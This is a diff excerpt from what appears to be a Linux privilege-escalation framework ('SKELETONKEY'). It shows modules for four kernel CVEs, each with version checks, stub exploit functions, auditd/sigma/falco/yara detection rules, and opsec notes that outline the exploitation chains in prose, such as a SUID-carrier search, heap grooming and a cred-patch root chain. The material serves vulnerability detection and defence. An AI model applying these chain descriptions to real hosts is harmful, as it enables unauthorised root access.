|
||||
"requeue-PI stack UAF) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ghostlock: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules -----
|
||||
*
|
||||
* Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a
|
||||
* genuinely distinctive behavioural tell — a futex requeue-PI operation
|
||||
* (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which
|
||||
* glibc's requeue-PI usage inside pthread_cond_wait never provokes. The
|
||||
* catch: auditd/sigma see the `futex` syscall but not its op-vs-return
|
||||
* cheaply, and a bare `-S futex` watch would flood any host (futex is one
|
||||
* of the busiest syscalls). So the deployable auditd/sigma rules anchor on
|
||||
* the far rarer sched_setattr (the sibling-thread priority-walk driver) and
|
||||
* the post-exploitation euid-0 transition; the high-fidelity
|
||||
* requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule,
|
||||
* which can see the op and the return value. Tune per environment.
|
||||
*/
|
||||
static const char ghostlock_auditd[] =
|
||||
"# GhostLock — rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) — auditd rules\n"
|
||||
"# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n"
|
||||
"# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n"
|
||||
"# the far rarer sched_setattr — the GhostLock trigger fires it on a SIBLING\n"
|
||||
"# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n"
|
||||
"# walk that wins the race — plus sched_setaffinity CPU pinning of the racers.\n"
|
||||
"# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n"
|
||||
"# that can see the op+retval (see the shipped falco rule). Correlate these in\n"
|
||||
"# your SIEM per-pid within a short window; individually they are benign.\n"
|
||||
"-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n"
|
||||
"-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n"
|
||||
"# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"
|
||||
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n";
|
||||
|
||||
static const char ghostlock_sigma[] =
|
||||
"title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n"
|
||||
"id: 2f8a6b4c-skeletonkey-ghostlock\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n"
|
||||
" rollback path, reachable by any unprivileged user via futex(2) +\n"
|
||||
" sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n"
|
||||
" (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n"
|
||||
" (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n"
|
||||
" targeting a SIBLING thread and sched_setaffinity CPU pinning — but auditd\n"
|
||||
" cannot see the futex op/return cheaply, so this rule keys on the rarer\n"
|
||||
" sched_setattr driver and the post-exploitation euid-0 transition. Use the\n"
|
||||
" falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n"
|
||||
" false positives from legitimate real-time / scheduler-tuning daemons.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||
" condition: schedattr or (uid0 and unpriv)\n"
|
||||
"level: medium\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n";
|
||||
|
||||
static const char ghostlock_falco[] =
|
||||
"- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n"
|
||||
" desc: |\n"
|
||||
" GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n"
|
||||
" tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n"
|
||||
" FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK — glibc's\n"
|
||||
" requeue-PI usage inside pthread_cond_wait never provokes it — combined with\n"
|
||||
" the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n"
|
||||
" the probe cannot decode the futex op, fall back to the post-exploitation\n"
|
||||
" effect below: a non-root process becoming root outside a setuid binary.\n"
|
||||
" condition: >\n"
|
||||
" (evt.type = futex and evt.rawres = -35) or\n"
|
||||
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||
" not proc.is_setuid = true and user.uid != 0)\n"
|
||||
" output: >\n"
|
||||
" Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n";
|
||||
|
||||
const struct skeletonkey_module ghostlock_module = {
|
||||
.name = "ghostlock",
|
||||
.cve = "CVE-2026-43499",
|
||||
.summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") — clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns",
|
||||
.family = "rtmutex",
|
||||
.kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected",
|
||||
.detect = ghostlock_detect,
|
||||
.exploit = ghostlock_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel — PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */
|
||||
.cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */
|
||||
.detect_auditd = ghostlock_auditd,
|
||||
.detect_sigma = ghostlock_sigma,
|
||||
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||
.detect_falco = ghostlock_falco,
|
||||
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable — deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer — then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak → forged on-stack rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint — unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ghostlock(void)
|
||||
{
|
||||
skeletonkey_register(&ghostlock_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ghostlock_cve_2026_43499 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef GHOSTLOCK_SKELETONKEY_MODULES_H
|
||||
#define GHOSTLOCK_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ghostlock_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,252 @@
|
||||
/*
|
||||
* mutagen_astronomy_cve_2018_14634 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class
|
||||
* (kernel-version range + RLIMIT_STACK check + readable SUID
|
||||
* carrier). exploit() carries the Qualys trigger shape (huge
|
||||
* argv/envp blob → integer overflow in create_elf_tables() →
|
||||
* stack/heap clobber on the next execve of a SUID binary), then
|
||||
* returns EXPLOIT_FAIL unless --full-chain is set on x86_64.
|
||||
*
|
||||
* The bug (Qualys Research Labs, September 2018):
|
||||
* create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to
|
||||
* compute the size of argv/envp + auxiliary vector that gets
|
||||
* copied onto the new process's stack during execve(). On 64-bit
|
||||
* systems, an attacker can construct a multi-gigabyte argv+envp
|
||||
* so the int math wraps to a small positive value, the kernel
|
||||
* under-allocates, then memcpy()s GiB of attacker bytes off the
|
||||
* end of the stack and into adjacent kernel-side allocations.
|
||||
*
|
||||
* The classic exploitation path: drive the wrap, execve() a
|
||||
* readable SUID-root binary (su / pkexec / sudo) with the giant
|
||||
* argv, the SUID binary's process image gets corrupted before its
|
||||
* first instruction runs → ROP gadget chain → root.
|
||||
*
|
||||
* Discovered + publicly exploited by Qualys. Affects Linux
|
||||
* 2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian
|
||||
* x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age
|
||||
* because legacy/EOL fleets are still running affected kernels.
|
||||
*
|
||||
* Affects: Linux kernels with the `int`-typed argv-size computation
|
||||
* in create_elf_tables() — pre-fix. Mainline fix landed in
|
||||
* September 2018 across 2.6, 3.10, and 4.14 stable branches.
|
||||
*
|
||||
* Preconditions:
|
||||
* - Vulnerable kernel (see kernel_range below)
|
||||
* - x86_64 (the int-wrap math only works at 64-bit)
|
||||
* - RLIMIT_STACK can be set unlimited or to a large value by the
|
||||
* unprivileged user (default true on most distros)
|
||||
* - Readable SUID-root binary as the carrier
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64-
|
||||
* only; arm64 has similar argv size math but the exploit chain
|
||||
* uses x86-specific gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14
|
||||
* (4.14.71) and earlier LTS lines. The vulnerable window covers the
|
||||
* entire 2.6 / 3.x / early 4.x range. We list the fix branches:
|
||||
*
|
||||
* 2.6.x : EOL, no fix backport
|
||||
* 3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7
|
||||
* 4.14.x: fix at 4.14.71 (stable backport)
|
||||
* 4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit
|
||||
*
|
||||
* Our table only has data for the post-EOL branches Debian / Ubuntu
|
||||
* tracked at the time. Kernels on EOL lines (2.6, 3.x) report
|
||||
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
|
||||
* (--active) is required to confirm exploitability on a real host. */
|
||||
static const struct kernel_patched_from mutagen_patched_branches[] = {
|
||||
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
|
||||
{4, 14, 71}, /* 4.14 LTS stable backport */
|
||||
{4, 18, 8}, /* mainline + everything above inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range mutagen_range = {
|
||||
.patched_from = mutagen_patched_branches,
|
||||
.n_patched_from = sizeof(mutagen_patched_branches) /
|
||||
sizeof(mutagen_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *cs[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; cs[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(cs[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(cs[i], R_OK) == 0)
|
||||
return cs[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool rlimit_stack_unlimitable(void)
|
||||
{
|
||||
struct rlimit rl;
|
||||
if (getrlimit(RLIMIT_STACK, &rl) != 0) return false;
|
||||
/* The exploit needs to set RLIMIT_STACK = unlimited. If the hard
|
||||
* limit is already unlimited (or extremely large) the soft limit
|
||||
* can be bumped. */
|
||||
return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&mutagen_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Older 2.6/3.10 lines are unconditionally vulnerable unless the
|
||||
* distro has backported (RedHat 3.10.0-957.21.3.el7+). The
|
||||
* version-only check correctly flags them as VULNERABLE. */
|
||||
|
||||
if (!rlimit_stack_unlimitable()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit (primitive only) -------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n"
|
||||
" multi-gigabyte argv+envp blob; we don't carry the full Qualys\n"
|
||||
" chain here (per the verified-vs-claimed bar). To validate the\n"
|
||||
" primitive: drive the wrap then execve a SUID-root carrier and\n"
|
||||
" confirm a SIGSEGV in the carrier (the wrap consistently\n"
|
||||
" corrupts adjacent stack, producing observable crash). Public\n"
|
||||
" PoC: Qualys advisory + linux-exploit-suggester2 entry.\n"
|
||||
" Returning EXPLOIT_FAIL honestly until full chain ported.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char mutagen_auditd[] =
|
||||
"# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n"
|
||||
"# A multi-GiB argv triggers the wrap. Real programs never need\n"
|
||||
"# argv this big; flag execve() calls with abnormally large\n"
|
||||
"# argv via the audit subsystem's a0/a1 capture.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-mutagen\n";
|
||||
|
||||
static const char mutagen_sigma[] =
|
||||
"title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n"
|
||||
"id: 5f9e1c20-skeletonkey-mutagen\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical Mutagen Astronomy primitive: setrlimit\n"
|
||||
" raising RLIMIT_STACK followed by execve of a setuid-root\n"
|
||||
" binary with abnormally large argv/envp. Pre-fix Linux\n"
|
||||
" 2.6/3.10/4.14 kernels with x86_64 are affected.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n"
|
||||
" execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: setrlimit and execve_suid\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n";
|
||||
|
||||
static const char mutagen_yara[] =
|
||||
"rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2018-14634\"\n"
|
||||
" description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"mutagen-astronomy\" ascii\n"
|
||||
" $qualys = \"qualys\" ascii nocase\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char mutagen_falco[] =
|
||||
"- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n"
|
||||
" desc: |\n"
|
||||
" Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n"
|
||||
" The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n"
|
||||
" legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n"
|
||||
" su/pkexec.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = execve and not user.uid = 0 and\n"
|
||||
" (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n"
|
||||
" output: >\n"
|
||||
" SUID execve with RLIMIT_STACK raised (user=%user.name\n"
|
||||
" pid=%proc.pid exe=%proc.exe)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n";
|
||||
|
||||
const struct skeletonkey_module mutagen_astronomy_module = {
|
||||
.name = "mutagen_astronomy",
|
||||
.cve = "CVE-2018-14634",
|
||||
.summary = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)",
|
||||
.family = "elf",
|
||||
.kernel_range = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)",
|
||||
.detect = mutagen_astronomy_detect,
|
||||
.exploit = mutagen_astronomy_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = mutagen_auditd,
|
||||
.detect_sigma = mutagen_sigma,
|
||||
.detect_yara = mutagen_yara,
|
||||
.detect_falco = mutagen_falco,
|
||||
.opsec_notes = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_mutagen_astronomy(void)
|
||||
{
|
||||
skeletonkey_register(&mutagen_astronomy_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||
#endif
|
||||
@@ -90,6 +90,8 @@
|
||||
* and declare the few socket constants we need by hand. IPPROTO_RAW
|
||||
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
|
||||
* (Linux constant value 0). */
|
||||
#include <linux/if.h> /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it
|
||||
* in on older kernel headers (e.g. Ubuntu 16.04). */
|
||||
#include <linux/netfilter_ipv4/ip_tables.h>
|
||||
#ifndef SOL_IP
|
||||
#define SOL_IP 0
|
||||
@@ -103,7 +105,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
|
||||
{4, 14, 240},
|
||||
{4, 19, 198},
|
||||
{5, 4, 128},
|
||||
{5, 10, 46},
|
||||
{5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
|
||||
{5, 11, 20},
|
||||
{5, 12, 13},
|
||||
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
|
||||
@@ -960,6 +962,55 @@ static const char netfilter_xtcompat_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||
|
||||
static const char netfilter_xtcompat_sigma[] =
|
||||
"title: Possible CVE-2021-22555 xt_compat OOB write\n"
|
||||
"id: e67f90d5-skeletonkey-xtcompat\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects setsockopt(SOL_IP, IPT_SO_SET_REPLACE) from a non-root\n"
|
||||
" process inside unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by\n"
|
||||
" msg_msg grooming (msgsnd/msgrcv) and sendmmsg sk_buff spray.\n"
|
||||
" False positives: iptables config inside rootless containers /\n"
|
||||
" network namespaces. Correlate with privilege escalation\n"
|
||||
" (setresuid 0,0,0) to confirm.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" sso: {type: 'SYSCALL', syscall: 'setsockopt', a1: 0}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and sso and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.22555]\n";
|
||||
|
||||
static const char netfilter_xtcompat_yara[] =
|
||||
"rule netfilter_xtcompat_cve_2021_22555 : cve_2021_22555 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-22555\"\n"
|
||||
" description = \"xt_compat 4-byte OOB write log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-xtcompat.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char netfilter_xtcompat_falco[] =
|
||||
"- rule: setsockopt IPT_SO_SET_REPLACE by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process calls setsockopt(SOL_IP, IPT_SO_SET_REPLACE)\n"
|
||||
" from inside a userns with CAP_NET_ADMIN. The xt_compat\n"
|
||||
" target_to_user() handler writes past the xt_table_info\n"
|
||||
" allocation; CVE-2021-22555. False positives: iptables\n"
|
||||
" config in rootless containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" setsockopt SOL_IP by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2021.22555]\n";
|
||||
|
||||
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.name = "netfilter_xtcompat",
|
||||
.cve = "CVE-2021-22555",
|
||||
@@ -971,9 +1022,11 @@ const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; disable unprivileged_userns_clone */
|
||||
.cleanup = netfilter_xtcompat_cleanup,
|
||||
.detect_auditd = netfilter_xtcompat_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = netfilter_xtcompat_sigma,
|
||||
.detect_yara = netfilter_xtcompat_yara,
|
||||
.detect_falco = netfilter_xtcompat_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_netfilter_xtcompat(void)
|
||||
|
||||
@@ -88,6 +88,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -95,7 +96,7 @@
|
||||
|
||||
static const struct kernel_patched_from nf_tables_patched_branches[] = {
|
||||
{5, 4, 269}, /* 5.4.x */
|
||||
{5, 10, 210}, /* 5.10.x */
|
||||
{5, 10, 209}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 149}, /* 5.15.x */
|
||||
{6, 1, 74}, /* 6.1.x */
|
||||
{6, 6, 13}, /* 6.6.x */
|
||||
@@ -1123,6 +1124,35 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
static const char nf_tables_yara[] =
|
||||
"rule nf_tables_cve_2024_1086 : cve_2024_1086 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-1086\"\n"
|
||||
" description = \"nf_tables verdict-init UAF breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nf_tables_falco[] =
|
||||
"- rule: nf_tables verdict-init UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a userns,\n"
|
||||
" delivering an nfnetlink batch with NEWTABLE + NEWCHAIN +\n"
|
||||
" NEWSET (verdict-key) + NEWSETELEM with malformed NFT_GOTO\n"
|
||||
" committed twice. CVE-2024-1086 nft_verdict_init double-free.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.1086]\n";
|
||||
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
@@ -1135,8 +1165,10 @@ const struct skeletonkey_module nf_tables_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nf_tables_auditd,
|
||||
.detect_sigma = nf_tables_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
